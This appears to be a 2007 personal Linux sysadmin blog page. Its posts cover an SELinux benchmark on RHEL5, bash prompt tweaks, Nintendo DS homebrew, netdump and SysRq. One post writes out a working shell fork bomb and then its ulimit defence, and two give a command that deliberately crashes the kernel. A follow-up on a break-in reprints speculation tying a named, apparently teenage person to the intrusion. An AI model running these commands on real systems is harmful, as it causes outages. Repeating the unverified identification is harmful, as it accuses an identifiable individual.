4 Dec 2007

No snow, no Christmas?

Soon Christmas and still no snow? Since there hasn't been a decent cold and white winter here for years, it's a little hard to get that Christmas mood. Luckily, we have computer tools that can help us out.

A small and nifty little program called "xsnow" snows all over your X-session. All the windows get covered in snow and even Santa himself fly by. The graphics are not outstanding, in fact they quite early 1990-ish. Still, it gives you a little Christmas nostalgia. You can almost feel the cold when the snows hurls over your screen.

7 Nov 2007

RHEL5 SELinux: A benchmark

SELinux introduces a new access control mechanism in the Linux kernel called "mandatory access control". It has been in the mainline Linux kernel since 2003, and included in RedHat Enterprise Linux 4 (2005). RedHat have been testing SELinux for quite some time through the Fedora releases, where it has been available since Fedora 2 (2004). RedHat is aggressively pushing the development of SELinux and relevant tools forward. From RHEL version 4 to 5 the targeted policy includes more services, added support for a modular policy, (graphical) administrations tools and support for MLS. But what are the performance penalties when running with and without SELinux enabled?

  1. SELinux
    1. Access control
    2. Security attributes
    3. SELinux MAC
    4. Security policy
    5. AppArmor
  2. Test setup
  3. The tests
    1. Apache
    2. Postfix
    3. MySQL
  4. Conclusion
  5. References

1. SELinux

NSA originally developed SELinux and surprised everyone when they open sourced it.

".. let me assure you that this action by the NSA was the crypto-equivalent of the Pope coming down off the balcony in Rome, working the crowd with a few loaves of bread and some fish, and then inviting everyone to come over to his place to watch the soccer game and have a few beers. There are some things that one just never expects to see, and the NSA handing out source code along with details of the security mechanism behind it was right up there on that list."

 -- Larry Loeb, "Uncovering the secrets of SE Linux"

SELinux was quickly embraced by the open source community and RedHat in particular have led the development the last years. Existing first as a set of third party kernel patches, it was later rewritten to use the "Linux Security Modules" (LSM) and is now part of the mainline kernel.

LSM provides no security by itself, but gives a general framework to support access control modules like SELinux. LSM does that by inserting hooks in the kernel code right before the access would have been granted by traditional access control. These "hooks" are just calls to functions that the LSM modules (SELinux) must provide.

1a. Access control
The access control mechanism found in traditional operating systems (Linux, Windows, UNIX, OSX), the users are in control and determine access control. Ordinary users may give or revoke access privileges to their own object (files). This access control scheme is called "discretionary access control" (DAC), since the subjects have discretion over their own objects. Bishop defines DAC as:

"If an individual user can set an access control mechanism to allow or deny access to an object, that mechanism is a discretionary access control (DAC), also called identity-based access control (IBAC)." [Bishop]

SELinux introduces a new access control mechanism called "mandatory access control" (MAC). Here the access control is taken out of the hand of the users and enforced by the system it self. "In general, when systems are built to enforce a security policy independently of user actions, they are described as having mandatory access control" [Anderson]. SELinux supplement Linux with mandatory access control (MAC), since access control is enforced based on a security policy and not user identity alone.

MAC can be defined as: "When a system mechanism controls access to and an individual user cannot alter that access, that control is a mandatory access control (MAC), occasionally called a rule-based access control." [Bishop]

It must be stressed that MAC is not by definition more secure than DAC. It is just two different approaches to access control. The strength of MAC depends on a well-defined security policy. But when MAC is used, the security policy is usually written in accordance with the "principle of least privilege". This principle is best explained using an example: A user reads his email using a program called "mutt". Since "mutt" is executed as a normal user, the "mutt" process has the same privileges to read and write to all the files as the user himself. That means that "mutt" can read the users ssh-keys, change the users password, delete all the users files and so on. Mutt does not need all those privileges in order to function properly, so they can be denied. Again, Bishop gives a clear and concise definition:

"The principle of least privilege states that a subject should be given only those privileges that it need in order to complete its task." [Bishop]

SELinux does not replace the traditional DAC in Linux. SELinux introduces MAC in addition to DAC. All access decisions are first consulted DAC then MAC (SELinux). If an action is denied in DAC, SELinux (MAC) is not consulted and the action is denied. If DAC allows the action, the decision is sent to SELinux for a MAC check.

1b. Security attributes
SELinux uses a combination of an identity model, role-based access control (RBAC) and type enforcement (TE). Where TE is the most important feature. SELinux RBAC authorize each (SELinux) user for a set of roles. Each role is authorized to a set of types.

This is accomplished using four security attributes:

  1. User identity: SELinux has its own user database which are mapped to normal Linux users. The identities are used on both subject and objects. Only a few SELinux users are defined: (can be listed by 'semanage user -l'):
    • user_u - normal users.
    • system_u - processes started (at boot).
    • root - administrator.
  2. Role: Users may enter into different roles. Different roles may enter different domains. For objects (files), this is always object_r.
  3. Type / domain: The "main" attribute in SELinux. Also called the "primary attribute". It is usually only a few users/roles defined, but hundreds of types. There is no difference between "type" and "domain", but "domains" are used when talked about processes and "type" when talking about files. Each process is confined in it own sandbox with restricted access, also called "Type Enforcement".
  4. Category / level: May set category and/or level. Introduced in RHEL 5 and enables Multi Level Security (MLS) or Multi Category Security (MCS).

These four security attributes build up what is called a "security context":


Security attribute Name convention Example name
User _u user_u
Role _r object_r
Type _t unconfined_t
Category / level (none) s0:c0

To view the security context of files and/or processes, the option "Z" is used:

$ ls -Z /etc/passwd
-rw-r--r-- root root system_u:object_r:etc_t /etc/passwd
$ ps Z -C sshd
system_u:system_r:unconfined_t:SystemLow-SystemHigh 2021 ? Ss 0:00 /usr/sbin/sshd
system_u:system_r:unconfined_t:SystemLow-SystemHigh 16795 ? Ss 0:00 sshd: lars [priv]
system_u:system_r:unconfined_t:SystemLow-SystemHigh 16797 ? S 0:01 sshd: lars@pts/1
system_u:system_r:unconfined_t:SystemLow-SystemHigh 24700 ? Ss 0:00 sshd: lars [priv]
system_u:system_r:unconfined_t:SystemLow-SystemHigh 24702 ? S 0:00 sshd: lars@pts/0

1c. SELinux MAC

Lets look closer on the decision making process in the kernel. When a subject (process) wants to access an object (for example a file), it must first be granted by DAC. Then the decision is sent to SELinux via LSM. In SELinux the Policy Enforcment Server does a lookup in the Access Vector Cache (AVC) where earlier subject and objects permission are cached. If the decision is not found in the AVC, the request continues to the Security Server which looks up the security context of the file and consult the policy. Permission is then either denied or granted. The result is cached in the AVC. Se figure below for a graphical illustration:

1d. Security policy
SELinux consists of:

  1. Kernel module. Included in the mainline kernel since 2.6.
  2. Library 'libselinux' used by userspace programs (ls, ps, id, ...).
  3. Administrative tools ("SELinux Management Tool", sestatus, ...).
  4. Security policy.
The policy is written in m4 (same as the config file in Sendmail), compiled and loaded into the kernel at boot time. Writing new or changing existing policy directly might not be intuitive for new users so RedHat has invested a lot of effort into creating user-friendly (graphical) administrative tools. The policy has also been made modular, so it is easier to turn of TE for certain programs.
But the policy does not cover the whole system. In RHEL4 only 15 network based services (apache, bind, ntp, ...) where covered by the policy. The rest of the system ran in an "unconfined_t" domain which is a special domain with no restrictions (same as if SELinux was not running). In RHEL5, the number of programs covered by the policy are over 200. "Covered" here means that the program are confined to its own "domain" with restricted privileges.

In RHEL/Fedora "strict" and "MLS" policy may also be installed, but they are unsupported. In the "strict" policy, every subject and object exists in a specific domain. The "MLS" policy enforces military style security levels and uses the Bell-La Padula model (BLP). The (binary) size of the policies also varies according to how much they cover. The "strict" policy is more than double in size of the "targeted":
  • Targeted: 1.1 MB
  • Strict: 2.5 MB
  • MLS: 2.1 MB
SELinux may run either in "enforcing" or "permissive" mode. In "permissive" mode access control is checked against the security policy but not enforced. Instead warnings are printed to a log file when policy is violated (nice for debugging). When SELinux run in "enforcing" mode, the policy is enforced.
The /selinux pseudo-filesystem gives access to SELinux variables and AVC statistics. I wrote a Munin plugin to monitor the AVC (download). The graphs below shows the load on the AVC. No active services (besides Munin) to the left and running the MySQL benchmark to the right.

When running real-life load or doing benchmarking, several hundred thousand AVC lookups per seconds are preformed.

1e. AppArmor
AppArmor ("Application Armor") is a competing technology to SELinux. It enables MAC in the kernel using LSM, the same as SELinux, but takes a different approach. For instance it uses full path names instead of inode names for file objects.

Immunix created AppArmor as an alternative to SELinux, which was considered to hard to administer. Immunix was later aquired by Novell, and included in Novell Suse. Creating and maintaining AppArmor polices is user friendly, and that has led other Linux distributions, like Ubuntu and Mandriva, to include it in the default install. The overhead using AppArmor is said to be around 2% [Cowan].

In a surprise move, Novell laid of most of their AppArmor devlopers in September 2007 [news.com] [linux-magazine.com]. Making the future of AppArmor more uncertain and depended upon the open source community to continue the development. One indication of popularity can be seen in Google trends.

2. Test setup
Two nodes, connected through a gigabit switch as shown in the illustration below:

Hardware specification given in the tabel below. I turned off CPU stepping on the laptop.

Hardware Laptop Workstation Switch
Model: Fujitsu Siemens Lifebook S7020D OptiPlex 745 D-Link DGS-1008D
CPU: Intel(R) Pentium(R) M 2.00GHz Intel(R) Core(TM)2 CPU 2.13GHz
RAM: 2 GB 4 GB
Ethernet: Broadcom NetXtreme BCM5751M PCI Express (Gbps) Broadcom NetXtreme BCM5754 PCI Express (Gbps) 8 port Gbps
Disk: SATA: 80GB, Seagate ST98823AS SATA: 250GB, WDC WD2500JS-75N

Output from "lshw" can be found here: Laptop and Workstation.

The operating system tested was RedHat Enterprise Linux 5 (RHEL5) Server. The laptop ran i386 (32 bits) version, but the workstation ran both i386 and x64 (64 bits) version. The client was running Ubuntu 7.04. So when RHEL5 was tested on the workstation, the laptop ran Ubuntu 7.4 and vice versa.

One little trivia: When testing, I was surprised when I found out that my laptop, with a gigabit interface, could sustain 1Gbps network traffic. Se screenshot from "iptraf" to the right.

3. The Tests
When SELinux is deployed, it is to provide an extra layer of security to existing services. Knowing the performance penalty when running SELinux on common (network based) services was the goal. The first task was to find good benchmark tools. I tested Apache prefork and worker (threaded), Postfix and MySQL.

To flush out different caches (file cache, AVC etc.), the machine was rebootet between each test. All relevant files (log-files, mailboxes etc.) were also blanked before each new test.

3a. Apache
Apache can run using a prefork model, where each request is assigned to a free Apache process. New processes are forked if the number of requests gets high. When running as "worker", Apache uses threads instead of forking. This is not default behavior for Apache on RHEL since PHP is not compatible with this mode. Worker mode is slightly faster than prefork as seen from the graphs below.

The test was used running Apaches own benchmark tool "ab". It was run against the same html-file. For each host, eleven tests with different concurrent connections (1 up to 255) each with 100000 requests was performed. The ab-test script can be downloaded here and the index.html file here.

Using a default (RHEL) httpd.conf, modifying only the number allowed clients (to 256).

This test uses a lot of network traffic, process handling (fork or thread) and disk read (html file) and write (log file).

Below is the result from the prefork results. For each host the average for all 11 tests are shown:

The same results with Apache worker (threaded):

3b. Postfix
Postfix is a popular mail server (MTA) and a rival to Sendmail. It is composed of several daemons, each responsible for performing a specific task (putting the mail in the queue, final delivery to the user's mailbox etc.). Read more about the different components in Postfix when receiving mail here.

The test was performed running Postfix' "smtp-source" against a Postfix mail server. The program is a SMTP test generator which connects to a mail server and send messages to it (sequentially or in parallel). Testing was done from and measured on the client sending 10000 messages four times with different concurrent connections (1 to 1000) (test script). Time taken was taken from the first to the last mail sent.

Using a fairly default (RHEL) main.cf, changing only the listing interface from "localhost" to "all".

This test uses a lot of network traffic, process handling and primarily disk write (mails and logs).

Four tests for each host. Average results shown:

3c. MySQL
MySQL is a popular database. It is multi-threaded and does not fork new processes. The benchmark tool was MySQL own "MySQL Benchmark suite", running all tests ("run-all-tests"). The test was started on the same host as the MySQL-server, so all communication was over a unix-socket. Around 3 million tests done in each run, but these are mostly CPU-bound, which can be seen from the results (low SELinux overhead):

4. Conclusion
There is no "official" number for how much performance penalty SELinux introduces. The Fedora Core FAQ says its hard to measure but states: "When performance was last measured, the impact was around 7% for completely untuned code." Performance depends on how the program behaves, the security policy written for it and the particular usage of that program. We've seen that more CPU bound programs, like the MySQL benchmark, has less SELinux overhead since the process itself spend more time on the CPU and less interaction with other part of the system (disk access, network traffic etc.).

If we combine all the result above, we come up with an average penalty of around 6%. Which is pretty close to 7% stated in the Fedora FAQ.

5. References
  1. "Novell lays off AppArmor programmers":
  2. "Novell Dismisses AppArmor Developer":
  3. "SELinux sparks tussle over Linux security model":

  4. "Torvalds irate over Linux Smack":

  5. "Securing Linux Systems with AppArmor" presented by Crispin
    Cowan at DefCon 15 2007:

  6. "Five ways SELinux may surprise you": http://searchenterpriselinux.techtarget.com/columnItem/0,294698,sid39_gci1253747,00.html
  7. "Uncovering the secrets of SE Linux": http://www-128.ibm.com/developerworks/library/s-selinux/?n-s-381
  1. "NSA: Security-Enhanced Linux": http://www.nsa.gov/selinux/
  2. "RHEL5 Manual: Chapter 43 Security and SELinux":

  3. "RHEL4 SELinux Guide":

  4. "Gentoo: Working with SELinux": http://www.gentoo.org/proj/en/hardened/selinux/selinux-handbook.xml?part=3
  5. Red Hat SELinux developer Daniel Walsh's blog: "danwalsh's

  6. "Fedora SELinux FAQ":

  7. "SuSE AppArmor": http://en.opensuse.org/Apparmor
  1. Matthew Bishop. Computer Security: Art and Science. Addison Wesley, Dec
    2002. (Excerpts at "Google Books").
  2. Ross J. Anderson. Security Engineering: A Guide to Building Dependable Distributed Systems. John Wiley & Sons, Apr 2001.
  3. Bill McCarty. SELinux. O'Reilly, Oct 2004.

3 Nov 2007

Holiday cracking - redux

The "holiday cracking" story got far more attention than I ever would have imagined. If I had known it would get so massive attention, I sure would have done a more throughly job. Interestingly, after the posting I have received some pretty interesting feedback - even an email from the cracker himself! It sure helps getting on Slashdot and posted on Bruce Schneier's blog!

In fact, when the story hit /., I first thought that I was finally being DoS'ed by an angry exposed cracker. But I quickly found out that it was the "normal" slashdot effect. You can see the traffic increase from the graph: The first traffic increase is from Schneier (week 33), the second is slashdot (week 34).

First one clarification. The cracked server was an (old and rusty) personal server, hosting nothing more than backup of some digital pictures hooked up through ADSL. The server was not part of production system running some critical services. The only exposed services to the Internet were SSH and Apache (no PHP as I recall). Hunting down this little cracker was just for fun.

It was also interesting to read the comments. A lot of the usual nonsense crap ("I pity the fool who cracks your system, fool!"), to more fun details ("He should've symlinked .bash_history to /dev/random!") but also some very helpful and constructive comments. I would in particular mention the SANS whitepaper "Dead Linux Machines Do Tell Tales" by James Fung - a couple of years old, but still a very interesting read. Another good tip, was the software chkrootkit and rkhunter, both helpful in finding and identifying rootkits.

Several polish users have sent me translations from the hosts used in the crack:

The cacker used the bot "psotnic" which translates to "rascal" or "urchin". Se wikipedias entry on psotnic for more info.
  • "4lo.bydg.pl" - IV High School in Bydgoszcz. The IP-address resolves to this host.
  • "matsys" - A popular nickname. Short version of "Mateusz" (male).
  • "pliki" - files.
So wget gives more sense.

A polish reader, Michal Bartkowiak, did some more digging on the polish web-pages and found more interesting stuff:

Ok, so let's take a look at this school website (4lo.bydg.pl). Search
option is in menu on left side ("szukaj" in polish). But search for
what? Maybe "matys".. nothing. I'm assuming that name of this account's
owner is "Mateusz".. three results. Click on first one
( http://4lo.bydg.pl//index.php?option=com_content&task=section&id=44&Itemid=93)

and you will get a list of names from competition. Three persons with
first name "Mateusz". Wait a minute, surname of first guy is "Lapinski"
(written without polish fonts), which looks very fimilar to LaPi. And it
makes sense in our language to create nick like this from surname
"Lapinski". While Lapinski is not very popular name, it still can be
just coincidence or my imagination. Or another hacked account of course.

Anyway, that's a good time for google. Search for "matys
site:4lo.bydg.pl" shows some activity on this account, e.g. index of
/~matys/foty/02-07-2007 ("foty" means "photos").
Search for "lapi+psotnic" returns userlist generated by psotnic version
0.2.11. Guess what? lapi is there. With IP from polish ISP
( http://hoth.amu.edu.pl/~esio/smieci/hub.ul).

Actually, when I searched for "lapi+psotnic" on google, a web-site called exy.hu popped up. Now this site has all kinds of nice crack software available, lists of username/password to a bunch of porn sites and a whole range of crew pictures. And guess what, a picture file there named lapi.jpg! (Fetch here: http://exy.hu/kepek/crew/Lapi/lapi.jpg). Is this our LaPi?

I also received an interesting mail from one former student and sysadmin of panorama.sth.ac.at. He could tell me that the host campus19.panorama.sth.ac.at was not NATed, but in fact one of the few IP-addresses that still is a FQDN. So he had both the name and the room-number of the alleged cracker! He should alert the administrators on-site and come back to me as soon as they had investigated further. This was one month ago, but (unfortunate) I have still not heard anything.

13 Oct 2007

Bash prompt with exit status

Let's improve the Bash prompt even further from my last post. I want to see the exit status of the last command in the bash prompt.

All (good written) programs have different exit status depending on how they where terminated. Exit status "0" is equivalent to "I terminated normally", all other exit status codes are the same as "non-normal exit" or "something went wrong". Unfortunate, there is not defined any standard exit status table that can say something about what went wrong given a numeric exit status. That is up to the programmer to decide.

  lars@titan:~$ test 1 -eq 1
  lars@titan:~$ echo $?
  lars@titan:~$ test 1 -eq 2
  lars@titan:~$ echo $?
  lars@titan:~$ notanycommand
  bash: notanycommand: command not found
  lars@titan:~$ echo $?

I know that the exit status is stored in "$?". I use that to colorize my prompt red if the exit status is anything but "0" ("all ok"). In the bash man page, there is a special variable that is exactly what I'm looking for:

  If set, the value is executed as a command prior to issuing each
  primary prompt.

So we create a small function and add it to ~/.bashrc:

function exitstatus {


        if [ "$EXITSTATUS" -eq "0" ]
                PS1="${BOLD}\u@\h:\w\$${OFF} "
                PS1="${BOLD}\u@\h:\w${OFF}${RED}\$${OFF} "

        PS2="${BOLD}>${OFF} "



Fire up a new shell, and every command that has an exit status different than "0" puts a red marker in your prompt:

12 Oct 2007

Bash prompt (on RedHat)

I've been working with a lot of different RHEL-boxes lately, and I've (yet again) been frustrated with the default RedHat Bash-prompt. It is an easy fix, but its tiresome to change every time.

Okay, the "trouble" is this:

  [lars@titan ~]$

This is the default bash prompt. Now, thats fine enough, but lets jump to another directory.:

  [lars@titan lib]$

Where am I now? Which directory is this? Hm?

Since the RedHat prompt only shows the current directory, and NOT the full path, it can be any number of directories:
  • /lib
  • /usr/lib/
  • /usr/src/linux/lib/
  • /usr/local/lib/
  • /opt/lib
  • /var/lib
  • ~/lib
  • ...
You get the idea? And, if you have the same amount of short-time memory like me, you have to constantly type 'pwd' to check which directory you currently are in. The only nice feature with the default RedHat prompt, is to prevent long wrapping prompt (when the full path gets long).

Luckily, it is easy to change the prompt. Just add this to your ~/.bashrc

  PS1='\u@\h:\w\$ '
  PS2='> '

This gives you:


And lets now jump to another directory:


See? No more 'pwd'! Finally a more sane and useful Bash prompt!

You can find more prompt variables in the Bash manual.

A slightly more fancy variant of the above, is to make the prompt bold:

   PS1="${BOLD}\u@\h:\w \$${OFF} "
   PS2="${BOLD}>${OFF} "

Just add it to your ~/.bashrc, and it will look like this:


You can pimp your prompt with colors and all kinds off information. Read the Bash Prompt HOWTO for more.

1 Aug 2007

Old classical PC games on Nintendo DS

The Nintendo DS (NDS) is more than powerful enough to play several old PC games. Some porting is required, and luckily a lot of people have already done that. Usually, you just need the game files (which means you must either own the originally game, use the shareware version or, check if it's abandonware). It's time for a trip down memory lane trying out some old classics.

To be able to run, you must first have some kind of "memory card". I have, and can personally vouch for, DSX. You can read all about my experience with it in earlier posts..

1. Lemmings - First off is Lemmings! This (open source) version of Lemmings for NDS is a complete rewrite of Lemmings with close to 300 of the original levels. Installation was easy - and no dldi patching was necessary for DSX. Download here.

2. Doom - This version of Doom, called "DS Doom", even have multiplayer support using wireless. This version does not need dldi patching for DSX. But you do need Dooms WAD-files (shareware is fine). Homepage here.

3. Day of the Tentacle - Yes! The great adventure games from Lucasarts can be played on the NDS using a port of Scummvm. Scummvm is just a new engine, so you still need the data files. A whole range of adventure games can be played (Monkey Island 1 & 2, Sam & Max hit the road, Simon the Sorcerer 1 & 2, ..). Download the NDS port of Scummvm here.

4. Hexen - Another old classic FPS game, based on the Doom engine. Fetch it here.

5. Quake - Yes, running Quake at full speed. Quite a nice port considered the NDS's 4MB of memory. You'll need the shareware version of the game file (PAK0.PAK) and/or the full game (PAK1.PAK).

Other games I would like to see ported to NDS, are from the Ultima series. Specifically Ultima 7 and 8 and Ultima Underworld 1 & 2. Great, great games! And since I've mention Lucasarts games, playing X-Wing and Tie-Fighter would also have been fun - which the NDS should be more than capable of. When it comes to Ultima 7, the Exult project have made a comment on porting to the NDS. - Oh, and not to forget Dungeon Keeper, Diablo, ...

Now, if only I had some more time to play games!

27 Jul 2007

Linux on Nintendo DS

After getting my own DSX memory card for running homebrews (see previous blog entry), it's time to fire up Linux. Getting Linux to run on the NDS was no problem at all, but it's still quite limited. At least when using the memory card DSX.

The Linux distribution for NDS is called DSLinux and is under active development. To run it, use the following procedure:

  1. Connect the DSX to the USB.
  2. Download http://kineox.free.fr/DS/dslinux.nds and put it in the "apps/" folder. This version has wireless support.
  3. Since the DSX own application launcher are unable to launch DSLinux for some reason, another launcher has to load Linux. The launcher DSChannel can do the work. Unpack http://gtamp.com/DS/dschannels_beta5b_DS-X.7z to the root of your DSX.
  4. From DSX, start DSChannel. From DSChannel start DSLinux. If you try to launch DSLinux from DSX own application launcher, you'll just be presented with to white screens.
  5. When starting DSLinux, the top-screen (console) is garbled. Just tap "Enter" to redraw the screen.
  6. Login with user name: root and password: uClinux.

From here, get the wireless interface up and running:

# iwconfig nds channel 2 essid gatekeeper key off
# ifconfig nds up
# route add default gw

Read more here: http://www.dslinux.org/wiki/Using_DSLinux

Oh, and the wireless is just legacy 802.11 (no 802.11b or 820.11g), so it's limited to 2Mbit/s data rate. And only WEP is supported, no 802.11i (WPA/WPA2).

Unfortunate, the DSX (file system) is not supported by DSLinux, so it's really limited what can be done. The file system is read-only so the rest of DSLinux is inaccessible. Only the most elementary programs are available like "busybox, "cat", "ls" and so on. Both "telnetd" and "dropbear" (ssh) refuses to start. I suspect that's because the read-only file system. And since no "netcat" or "socat" is present, it limits the remote accessibility further. Fortunate, support for DSX is on the TODO list.

So I'll guess I just have to wait until it's supported before I can play more with DSLinux.

Useful links:

Memory card "DS-Xtreme" (DSX) for the Nintendo DS (NDS)

As of June 2007, 47 million Nintendo DS units has been sold. That's quite an impressive number, and has been the fastest selling platform in Europe. As soon as I got my hands on one of these units, I started looking for ways to use "homebrews" (= software written for the NDS usually published for free).

There are a lot of great homebrews for the NDS, but a "memory card" (solid state ROM) is required to use homebrews. You must have a way of putting the homebrew onto the NDS. A lot of different memory cards exists. After poking around, I found that DS Xtreme card (DSX) looked to be a good choice.

Several reasons why I preferred DSX:
  • Comes in sizes up to 2GB.
  • The pysical size is no larger than ordinary game cards.
  • No need to patch/modify the NDS, the DSX works as an ordinary "game card".
  • USB interface directly onto the card which works flawlessly.
  • Support (which I found out where excellent) and forums.
  • A large and active community.
Okay, so how do I get hold of one of these cards? I found a Norwegian shop modnet.no which had the 2 GB in in stock.

The device arrived the next day. Great! Inside it was only a USB-cable and the DSX itself. I had read that the 2GB devices need a mandatory update, due to some firmware bugs. The firmware update was a breeze, but unfortunate a Windows only procedure.

When connected it's deteced as any ordinary USB-stick:

$ dmesg
[17185651.468000] usbcore: registered new driver usb-storage
[17185651.468000] USB Mass Storage support registered.
[17185651.468000] usb-storage: device found at 7
[17185651.468000] usb-storage: waiting for device to settle before scanning
[17185656.468000] usb-storage: device scan complete
[17185656.468000]   Vendor: DS-Xtrem  Model: e      isk        Rev:    
[17185656.468000]   Type:   Direct-Access                      ANSI SCSI revision: 00
[17185656.472000] SCSI device sdb: 4071424 512-byte hdwr sectors (2085 MB)
[17185656.472000] sdb: Write Protect is off
[17185656.472000] sdb: Mode Sense: 33 00 00 00
[17185656.472000] sdb: assuming drive cache: write through
[17185656.476000] SCSI device sdb: 4071424 512-byte hdwr sectors (2085 MB)
[17185656.476000] sdb: Write Protect is off
[17185656.476000] sdb: Mode Sense: 33 00 00 00
[17185656.476000] sdb: assuming drive cache: write through
[17185656.476000]  sdb: unknown partition table
[17185656.476000] sd 2:0:0:0: Attached scsi removable disk sdb
[17185656.476000] sd 2:0:0:0: Attached scsi generic sg1 type 0
[17185657.096000] FAT: utf8 is not a recommended IO charset for FAT filesystems, filesystem will be case sensitive!

$ df -h
/dev/sdb              2.0G  1.4G  639M  68% /media/DSX

After fiddling around with the DSX I needed to reset the DSX. I peeled off the label on the DSX and in the tiny hole there was two individual contacts. By connecting these two, the DSX was reset. Se picture to the right. After that I just needed to run the firmware upgrade utility and I was back on track.

So now it's time to find some good homebrews! A nice place to start:


25 Jul 2007

Less typing with enviroment variable CDPATH

The BASH shell has several environment variables that can be manipulated. The PATH variable is well known. Another useful variable is CDPATH. As PATH is a list of search paths for commands, so is CDPATH a list of directories used as search path for the "cd" command.

Example: At one ftp server we serve a lot of software, including several of the most popular Linux distributions. The local path to these distributions involves a lot of typing:

  larsks@spheniscus:~$ cd /usit/spheniscus/ftp/linux/

From here, I can jump into "slackware/", "centos/", "debian/" and so on. But it's simpler when using CDPATH:

  larsks@spheniscus:~$ export CDPATH="/usit/spheniscus/ftp/linux"
  larsks@spheniscus:~$ cd slackware

Nice huh?

An even lazier method (involving less typing) is to use alias:

  larsks@spheniscus:~$ alias s="cd /usit/spheniscus/ftp/linux/slackware"
  larsks@spheniscus:~$ s

But then I have to create one alias for each directory. Oh the choices!

24 Jul 2007

Fork bomb, or how to take down a Linux server in matter of seconds

A particular nasty local denial of service attack is a fork bomb. It's dead simple: A program just replicate itself, which again replicate itself and so on until all resources are exhausted. Fortunately, protection against fork bombs are easy - but rarely used at all.

Fork bomb? Doesn't sound familiar? To understand fork bomb, you must understand "fork()". Fork is a system call, which creates an exact copy of the running process. The new process is called "child", and the invoking process "parent". If you've taken any sort of programming class I'm sure you know all about forking. If not, you can read about it in "man 2 fork" or Wikipedias entry on fork.

To create a fork bomb, you usually make some kind of misbehaving piece of software that spawns new child processes endlessly. This can be written in any language, but a one-liner bourne shell script is perhaps the most simple one:

  $0 &

Save this as "forkbomb.sh", execute it and see what happens. I'll bet within seconds the system is unresponsive. Here "$0" is the name of the script (forkbomb.sh) and the "&" puts the new invocation in the background. Last the script is executed a second time and this time it's in the foreground waiting for the new invocation of itself to complete (which it never does..) thus effectively holding on to resources..

You can restrict the number of processes by the built-in bash command "ulimit". Option "-u" shows/controls number of processes you're allowed to run:

  $ ulimit -u

Unlimited number of processes? Thats nice. Restrict it by:

  $ ulimit -u 20
  $ ulimit -u

Here "20" is the maximum number of processes available to the shell and processes started by it. Try it, and you'll soon see the restriction come to play:

  $ ulimit -u 20
  $ ./forkbomb.sh
  ./forkbomb.sh: fork: Resource temporarily unavailable
  ./forkbomb.sh: fork: Resource temporarily unavailable
  ./forkbomb.sh: fork: Resource temporarily unavailable

Good. Unfortunate, we do not trust our users. So we need this setting permanent. This an be done in /etc/security/limits.conf:

  # cat /etc/security/limits.conf
  lars    hard    nproc 20

Logout and back in, to see the restriction in effect.

  $ ulimit -u

And I can of course not increase the limits beyond the level set in limits.conf:

  $ ulimit -u 100
  -bash: ulimit: max user processes: cannot modify limit: Operation not permitted

But do beware - the root account (or any account with UID 0) is not bound by limits.conf.

24 Jun 2007


RHEL provides a crash dump facility called netdump (network crashdump = netdump). Traditionally UNIX writes the kernel dump to the swap partition. A classical crash dump facility first need to recover the dump before it's reused as swap. Other crash dump facilities enables kernel dumps to be written to disk. Diskdump is such a facility. However, great care must be taken as to not overwrite important data on the file system. Netdump solves that by writing the kernel dump to the network destined to a netdump server.

You might argue that the kernel never crashes. Unfortunate that is not true. Kernel crashes might be caused by software and hardware bugs (Oops, BUG(), panic). The kernel then responds by dumping as much information as it can (processor state, stack trace and so on) to the console. This might be enough for an experienced kernel hacker to find out what went wrong, but some crashed requires an analyze of the memory dump of the kernel.

Netdump server:
1. Install the netdump-server package.
2. Set password for the netdump user:

  # passwd netdump
  Changing password for user netdump.
  New UNIX password:

3. Netdump writes to /var/crash, and kernel dumps can take anywhere from 500MiB up to several GiB depending on amount of memory used on the client.
4. Start the netdump-server:

  # service netdump-server start
  Starting netdump server:                           [  OK  ]

Netdump client:
1. Install the netdump package.
2. Edit /etc/sysconfig/netdump and add netdump server:


3. Propagate the shared secret to the server. This just copies the ssh public key to the crashdump server:

  # service netdump propagate
  netdump@'s password:

The above command just do:

  cat /etc/sysconfig/netdump_id_dsa.pub | \
  ssh -x netdump@$NETDUMPADDR cat '>>' /var/crash/.ssh/authorized_keys2

4. Restart netdump:

  # service netdump restart
  initializing netdump                              [  OK  ]
  initializing netconsole                           [  OK  ]

At the netdump server, a client directory is created for dump files:


Time for some testing! Lets crash the client! We crash the client by using sysrq. Read more about sysrq here.

 # sysctl -w kernel/sysrq=1
 kernel.sysrq = 1
 # echo "c" > /proc/sysrq-trigger

The kernel now crashes, but right before it reboots, it dumps to the netdump server (UDP port 6666). At the end of the dump, a SysRq-t is performed. SysRq-t dumps a list of current tasks and their information.

Note! While the dumping is in progress, interrupts are disabled. One consequence of this is that the keyboard is unresponsive.

At the server, two files are generated:

  # ls -lh /var/crash/\:44/
  -rw-------    1 netdump  netdump      1.3K Jun 24 09:44 log
  -rw-------    1 netdump  netdump      510M Jun 24 09:44 vmcore

You can now analyze the dump ("vmcore") using gdb, kdb or similar to figure out what went wrong. Enjoy!

18 Jun 2007

Magical SysRq

SysRq (System Request) is probably one of those keys on your keyboard that you rarely use. On Linux, you can use it to perform system functions if the system becomes unresponsive. You can sync disks, reboot or crash the kernel if that is what you want. To enable the "magical" sysrq, you need to have it compiled in the kernel. Luckily all major Linux distribution today have sysrq compiled in be default. To see the status if sysrq, issue:

  $ cat /proc/sys/kernel/sysrq

By default this value is "1" on Debian/Ubuntu and "0" on RHEL. "0" disables sysrq and "1" enables all functions of sysrq. Other values exists, see Documentation/sysrq.txt. You might also use "sysctl to check and enable sysrq:

  # sysctl kernel/sysrq
  kernel.sysrq = 0
  # sysctl -w kernel/sysrq=1
  kernel.sysrq = 1

To "s"ync all filesystems, press "Alt+SysRq+s". You'll then see at the console:

 SysRq  :  Emergency Sync
 Emergency Sync complete

Other sysrq functions include "b"oot, "c"rash and "u"mount. See the Documentation/sysrq.txt for the full list.

A quick way to reboot, and a little nicer than using the power-button, is to:

1. Sync disks using: "Alt+SysRq+s":

 SysRq  :  Emergency Sync
 Emergency Sync complete

2. Remount all disks read-only: "Alt+SysRq+u":

 SysRq  :  Emergency Remount R/O
 Emergency Remount complete

3. Reboot: "Alt+SysRq+b":

 SysRq  :  Resetting

An (impatient) colleague of mine uses this procedure to shut down his laptop all the time...

If you're not on the console, you can still use sysrq. Just redirect the the command-key to /proc/sysrq-trigger. So to crash the running server do:

  # echo "c" > /proc/sysrq-trigger

Note: Crashing the running kernel using kexec/kdump is not supported in Debian 4.0 (Etch).

13 May 2007

SELinux presentation

